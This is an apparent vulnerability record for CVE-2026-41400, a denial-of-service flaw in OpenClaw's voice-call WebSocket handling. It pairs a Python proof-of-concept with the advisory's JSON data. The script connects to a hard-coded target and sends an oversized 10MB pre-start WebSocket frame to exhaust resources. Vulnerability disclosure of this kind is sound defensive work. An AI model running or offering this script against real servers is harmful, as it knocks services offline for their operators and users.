CVE-2026-41400

import socket import struct def send_oversized_websocket_frame(host, port): # Construct a WebSocket frame with a huge payload # FIN=1, Opcode=0x1 (Text), Masked=1, Payload Length=127 (Extended) payload = b"A" * 10000000 # 10MB payload payload_len = len(payload) header = b"\x81" # FIN + Text frame if payload_len < 126: header += bytes([0x80 | payload_len]) elif payload_len < 65536: header += b"\xfe" + struct.pack(">H", payload_len) else: header += b"\xff" + struct.pack(">Q", payload_len) # Add masking key (all zeros for simplicity in PoC) header += b"\x00\x00\x00\x00" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Send the frame immediately upon connection (Pre-start) s.send(header + payload) print("[+] Oversized frame sent to %s:%d" % (host, port)) s.close() except Exception as e: print("[-] Error: %s" % e) if __name__ == "__main__": target_host = "192.168.1.100" target_port = 8080 send_oversized_websocket_frame(target_host, target_port)

{"cve": {"id": "CVE-2026-41400", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:43.553", "lastModified": "2026-04-30T17:27:07.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains an incomplete fix for CVE-2026-32062 where the voice-call component parses large WebSocket frames before start validation. Remote attackers can send oversized pre-start WebSocket frames to cause resource consumption and denial of service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/9abcfdadf591bf266d85fbdfe14ae833e557a110", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2w79-r9g8-wmcr", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-resource-consumption-via-oversized-websocket-frames-in-voice-call", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}